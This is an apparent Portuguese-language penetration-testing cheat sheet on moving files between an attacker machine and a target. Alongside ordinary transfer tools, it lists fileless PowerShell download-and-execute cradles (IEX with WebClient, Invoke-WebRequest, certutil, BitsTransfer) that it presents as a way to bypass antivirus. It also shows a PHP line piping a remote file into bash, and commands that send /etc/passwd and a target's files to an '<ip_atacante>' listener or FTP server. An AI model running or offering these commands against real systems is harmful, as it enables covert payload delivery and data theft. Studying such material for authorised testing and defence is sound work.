Transferência de Arquivos
Configurando Servidor Web
Python
Abre um servidor web na porta 9999 (a porta padrão é a 8000):
# Python 2
python -m SimpleHTTPServer 9999
# Python 3
sudo python3 -m http.server 9999
PHP
php -S 0.0.0.0:<port>
Ruby
ruby -run -e httpd . -p <port>
Baixando Arquivos de Servidores Web
Para baixar os arquivos dos servidores web acima (PHP e Python), utilize um dos comandos abaixo:
Linux
curl
curl -O http://<ip>:<port>/<file.txt>
curl <url> --output <output_file>
wget
wget <ip>:<port>/<file.txt>
# Baixa todos os arquivos com recursividade quando a página web tem os arquivos expostos
wget -r -np -nH --cut-dirs=3 -R index.html http://site.com
Windows - Fileless
Essa técnica consiste em executar o arquivo diretamente na Memória RAM, sem precisar salvar no HD, fazendo assim com que o ataque fique em modo stealth, conseguindo realizar bypass em ferramentas de segurança, como o AV.
WebClient
IEX(New-Object Net.WebClient).downloadString('<http://site.com/file>')
(New-Object System.Net.WebClient).DownloadString('<url>')
powershell "(new-object System.Net.WebClient).DownloadString('http://site.com/file') | IEX"
powershell "IEX(New-Object Net.WebClient).downloadString('http://site.com/file')"
# Ignorando certificado SSL
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
Invoke-WebRequest (IWR)
IEX (iwr '<http://site.com/file.ps1>')
IEX(IWR -UseBasicParsing http://site/evil.exe)
# Ignorando configuração inicial do IE
Invoke-WebRequest <http://site.com/file.ps1> -UseBasicParsing | IEX
Internet Explorer
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('<http://site.com/file.ps1>');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
certutil
certutil -verifyctl -split -f http://<ip_atacante>/<file.ps1>
WinHttpRequest
# Máquina atacante
sudo python3 -m http.server 80
# Máquina alvo
$conn = new-object -com WinHttp.WinHttpRequest.5.1;
$conn.open('GET', 'http://<ip_atacante>/<file.ps1>', $false);
$conn.send();
iex $conn.ResponseText
# Ou
$conn=new-object -com WinHttp.WinHttpRequest.5.1;$conn.open('GET','<http://site.com/file.ps1>',$false);$conn.send();iex $conn.responseText
Msxml2
# Máquina atacante
sudo python3 -m http.server 80
# Máquina alvo
$conn=New-Object -ComObject Msxml2.XMLHTTP;
$conn.open('GET', 'http://<ip_atacante>/<file.ps1>', $false);
$conn.send();
iex $conn.responseText
# Ou
$conn=New-Object -ComObject Msxml2.XMLHTTP;$conn.open('GET','<http://site.com/file.ps1>',$false);$conn.send();iex $conn.responseText
BitsAdmin, uma ferramente nativa do Windows que permite fazer download (e também upload) de arquivos.
Import-Module bitstransfer
Start-BitsTransfer -Source "http://<ip>/<file>" -Destination "<output_file>"
# Ou
Import-Module bitstransfer;
Start-BitsTransfer 'http://<ip>/<file>' $env:temp\t;
$r=gc $env:temp\t;
rm $env:temp\t;
iex $r
# Ou
Import-Module bitstransfer ; Start-BitsTransfer '<http://site.com/file.ps1>' $env:temp\t ; $r=gc $env:temp\t ; rm $env:temp\t ; iex $r
Windows - Salvando no HD
Powershell
Primeiro é preciso abrir uma sessão na máquina alvo
$Session = New-PSSession -ComputerName <ip>
Após isso podemos transferir arquivo (de maneira bidirecional), com as seguintes maneiras:
# Transferindo arquivo local para a máquina remota
Copy-Item -Path <C:\path\to\file> -ToSession $Session -Destination <C:\path\to\output_file\>
# Transferindo arquivo de máquina remota para máquina local
Copy-Item -Path "<C:\path\to\file>" -Destination <C:\path\to\output_file\> -FromSession $Session
WebClient
iex(New-Object Net.WebClient).DownloadFile("<http://site/file>", "<C:\Users\user\Downloads\file>")
(New-Object System.Net.WebClient).DownloadFile('<url>', '<outputfile>')
# Ou
$webclient = New-Object System.Net.WebClient
$url = "https://domain.com/file.ps1"
$outputfile = "C:\Users\mysther\Desktop\file.ps1"
$webclient.DownloadFile($url, $outputfile)
Caso tenho problemas de certificado ao realizar download de arquivos via WebClient, execute o comando abaixo:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Invoke-WebRequest (IWR)
Invoke-WebRequest -Uri "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
Invoke-WebRequest "<http://site/file>" -OutFile "<C:\Users\<user>\Downloads>"
iwr -UseBasicParsing -Uri <http://site.com/file.exe> -OutFile '<C:\Users\<user>\Downloads\file.exe>'
iwr http://site/evil.exe -o <output-name.exe>
iwr http://site/evil.exe -OutFile <output-name.exe>
Certutil
cmd /c certutil -urlcache -split -f <http://ip/file.exe> <c:\dir\output\file.exe>
nc
# Máquina que irá receber o arquivo
nc -l -p <porta> > <file>
ncat -l -p <porta> --recv-only > <file>
# Máquina que irá enviar o arquivo
nc -q 0 <ip> <porta> < <file>
ncat --send-only <ip> <porta> < <file>
# Máquina que irá enviar o arquivo
nc <ip> 443 > <file>
# Máquina que irá receber o arquivo
sudo nc -l -p 443 -q 0 < <file>
Ncat
# Máquina que irá enviar o arquivo
sudo ncat -l -p 443 --send-only < <file>
# Máquina que irá receber o arquivo
ncat <ip> 443 --recv-only > <file>
cat < /dev/tcp/<ip>/443 > <file>
RDP
# xfreerdp
xfreerdp /v:<ip> /d:<domain> /u:<user> /p:'<pass>' /drive:linux,</home/mysther/folder>
# rdesktop
rdesktop <ip> -d <domain> -u <user> -p '<pass>' -r disk:linux='/home/mysther/rdesktop/folder'
GfxDownloadWrapper
GfxDownloadWrapper.exe "http://<ip>/<file>" "<C:\path\to\output_file>"
NGNIX
Criando diretório e atribuindo permissões
sudo mkdir -p /var/www/uploads/myuploads
sudo chown -R www-data:www-data /var/www/uploads/myuploads
Crie arquivo de configuração em /etc/nginx/sites-available/upload.conf
, com o seguinte conteúdo:
server {
listen 9001;
location /myuploads/ {
root /var/www/uploads;
dav_methods PUT;
}
}
Criar link simbólico
sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/
Reiniciando o Ngnix
sudo systemctl restart nginx.service
OBS.: Caso tenho algum erro nesse ponto, verifique o arquivo /var/log/nginx/error.log
para obter mais informações.
Removendo padrões do ngnix
sudo rm /etc/nginx/sites-enabled/default
Agora basta enviar um arquivo via PUT.
curl http://<ip>:9001/myuploads/file.txt -T /etc/passwd
O arquivo enviado irá ser enviado para /var/www/uploads/myuploads/
.
PHP
# Salvando arquivo
<?php file_put_contents('<output_file>', fopen('http://<ip>/<file>', 'r')); ?>
# Ou
php -r "file_put_contents('output_file', file_get_contents('http://<ip>/<file>'));"
php -r '$file = file_get_contents("<http://<ip_atacante>/file>"); file_put_contents("<file_output>",$file);'
php -r 'const BUFFER = 1024; $fremote = fopen("<http://<ip_atacante>/file>", "rb"); $flocal = fopen("<file_output>", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
# Mostrando conteúdo do arquivo
php -r 'var_dump(file_get_contents("http://<ip>/<file>"));'
# Fileless
php -r '$lines = @file("<http://<ip_atacante>/file>"); foreach ($lines as $line_num => $line) { echo $line; }' | bash
Python 2 e 3
python2 -c 'import urllib;urllib.urlretrieve ("<http://<ip_atacante>/file>", "<file_output>")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("<http://<ip_atacante>/file>", "<file_output>")'
Ruby
ruby -e 'require "net/http"; File.write("<file_output>", Net::HTTP.get(URI.parse("<http://<ip_atacante>/file>")))'
Perl
perl -e 'use LWP::Simple; getstore("<http://<ip_atacante>/file>", "<file_output>");'
Javascript
Primeiro salve o arquivo abaixo com o nome downloader.js
(ou outro nome da sua preferência)
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
Agora execute-o através do cscript.exe
, que é nativo Windows
cscript.exe /nologo .\downloader.js <http://<ip_atacante>/file> <file_output>
VBScript
Primeiro salve o arquivo abaixo com o nome downloader.vbs
(ou outro nome da sua preferência)
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile WScript.Arguments.Item(1), 2
end with
Agora execute-o através do cscript.exe
, que é nativo Windows
cscript.exe /nologo .\downloader.vbs http://192.168.218.131/server.pem server.pem
Baixando Arquivos de Servidores FTP
Para este cenário, iremos precisar ter as credenciais de autenticação no servidor FTP. Todo o seu conteúdo será baixado de form recursiva
wget -r ftp://<user>:<pass>@<ip>/
wget -m ftp://<user>:<pass>@<ip>/
wget -m --user <user> --password '<pass>' ftp://<ip>
SCP (Download/Upload)
Arquivos do Linux para Linux
Certifique-se de que o host remoto tenha o SSH
instalado, pois esse processo irá pedir a senha do usuário em questão.
# Download
scp <user>@<ip>:/<diretorio>/<completo>/<arquivo.txt> /<diretorio>/<local>/
# Upload
scp /<diretorio>/<local>/<arquivo.txt> <user>@<ip>:/<diretorio>/<completo>/
OBS.: Utilize o parâmetro -r
depois do scp
para enviar um diretório completo de modo recursivo.
Arquivos do Windows para Linux
Ao colocar o caminho absoluto em sistema Windows, temos que fazer um pouco diferente, pois o :
é utilizado como delimitador entre host e path, porém o Windows tem um :
após sua unidade de disco (Ex.: C:\), então devemos escapar isso utilizando aspas duplas e invertendo as barras.
scp <user>@<ip-windows>:"<C:/Users/Administrator/file.txt>" .
Clonando Site
Esse tipo de clone é com recursividade
wget -m -p -E -k -K -np -v <site>
Netcat
Método 1
# Receptor
nc -lvp <port> > <file>
# Remetente
cat <file> | nc <ip> <port>
Método 2
# Receptor
nc -l -p <port> -q 1 > <file.zip> < /dev/null
# Remetente
cat <file.zip> | netcat <ip_host_receptor> <port>
Método 3
# Remetente
nc -nlvp <port> < <file>
# Receptor
nc <ip> <port> > <file>
xfreerdp
Irá ser criado a unidade data
no Windows, que pode ser acessada no /tmp
do Linux.
xfreerdp /v:<ip> /u:<user> /p:<pass> /drive:data,/tmp
Socat
Recebendo arquivo:
socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat # Server
socat -u FILE:test.txt TCP:127.0.0.1:9876 # Client
Enviando arquivo:
socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
socat -u TCP:127.0.0.1:9876 OPEN:out.dat,creat
Base64
Copiando e Colando
No host onde contém o arquivo, iremos digitar o comando:
# Linux
base64 -w 0 <file_to_transfer>
cat <file_to_transfer> | base64 -w 0
# Windows
[Convert]::ToBase64String((Get-Content -path "<file>" -Encoding byte))
Copie a saída encodada em base64 e execute no host onde o arquivo irá ser salvo:
# Linux
echo '<base64_encode>' | base64 -d > <output_file>
# Windows
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('<base64_encode>'))
[IO.File]::WriteAllBytes("<output_file>", [Convert]::FromBase64String("<base64_encode>"))
Enviando via POST
Também podemos encodar um arquivo e enviá-lo via POST. Primeiro vamos abrir o nosso listener para receber o conteúdo do arquivo em base64.
nc -nvlp 8000
Agora na máquina alvo, execute:
[System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri http://<ip_atacante>:8000/ -Method POST -Body $b64
SMB
Esse método utiliza o Linux como um servidor SMB e iremos acessar os seus arquivos através do Windows (PowerShell), como em um mapeamento de unidade de rede.
impacket-smbserver
Execute no Linux:
# Com autenticação
impacket-smbserver <name_server> <share_directory> -smb2support -user <user> -password <pass>
# Sem autenticação
sudo python3 smbserver.py <share_directory> .
Execute no Windows de duas maneiras, via web browser / UNC, com o caminho:
\\<ip_atacante>\<share_directory>\<file.txt>
Ou se preferir, via powershell, da seguinte maneira:
# Conectando
$pass = convertto-securestring '<pass>' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('<name_server>', $pass)
New-PSDrive -Name <new_name_share> -PSProvider FileSystem -Credential $cred -Root \\<ip_linux>\<name_server>
# Acessando
cd <new_name_share>:
ls
No comando New-PSDrive...
não é necessário ter mesmo name
que foi setado no Linux. Caso precise realizar mais de uma conexão, altere esse valor.
smbserver.py (Impacket)
Compartilhando o arquivo via Linux
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py <name_share> .
Baixando o arquivo pelo Windows
copy \\<ip>\<name_share>\file.txt .
FTP
Download
Máquina que irá fornecer o arquivo
sudo python3 -m pyftpdlib --port 21
Depois acesse o ftp com o usuário anonymous
a partir da máquina que irá receber o arquivo
# Linux
ftp <ip>
# Windows
(New-Object Net.WebClient).DownloadFile('ftp://<ip>/<file>', '<C:\path\to\output_file>')
# ou
echo open <ip> > ftp.txt
echo USER anonymous >> ftp.txt
echo binary >> ftp.txt
echo GET <file_download> >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
Upload
Na máquina atacante vamos abrir um FTP com permissão de escrita, para que assim, a máquina comprometida realize upload de arquivos.
sudo python3 -m pyftpdlib --port 21 --write
Realizando upload na máquina alvo
(New-Object Net.WebClient).UploadFile('ftp://<ip_atacante>/<output_filename>', '<c:\path\to\file>')
# Ou
echo open <ip_atacante> > command.txt
echo USER anonymous >> command.txt
echo binary >> command.txt
echo PUT <c:\path\to\file> >> command.txt
echo <output_filename> >> command.txt
ftp -v -n -s:command.txt
UploadServer
Esse método é um pouco diferente dos demais, pois apesar de termos uma máquina atacante sendo utilizada como servidor, dessa vez será um servidor que irá aceitar upload de arquivos, ou seja, a máquina alvo irá realizar enviar os arquivos para a máquina atacante. Se quiser baixar arquivos do server, acesse a raiz (http://<ip>:<port>
) e se quiser fazer um upload, acesso http://<ip>:<port>/upload
.
# Instalando o módulo
pip3 install uploadserver
# Iniciando o servidor
python3 -m uploadserver <port>
Agora que já temos um servidor que aceita upload de arquivos, vamos acessá-lo a partir de um Windows (nossa máquina alvo) e enviar arquivos através do script PSUpload.ps1
. Note que temos que passar o /upload
no final da URI, porém ao recebermos o arquivo, ele estará no mesmo diretório em que o servidor foi executado.
. .\PSUpload.ps1
Invoke-FileUpload -Uri http://<ip_atacante>:<port>/upload -File <C:\path\to\file>
Ou então, fazer um upload a partir do Python
python3 -c 'import requests;requests.post("http://<ip_atacante>:<port>/upload", files={"files":open("/etc/passwd","rb")})'
TempDavFS
Ferramenta semelhante ao smbserver
, para disponibilizar arquivos entre computadores
Import-Module .\Invoke-TempDavFS.psm1
Invoke-TempDavFS
Sites
# PSUpload.ps1
https://github.com/juliourena/plaintext/blob/master/Powershell/PSUpload.ps1
# Tool para transferir arquivos via ICMP
https://github.com/icyguider/ICMP-TransferTools
# Invoke-TmpDavFS
https://github.com/p3nt4/Invoke-TmpDavFS
# UploadServer
https://github.com/Densaugeo/uploadserver
Last updated
Was this helpful?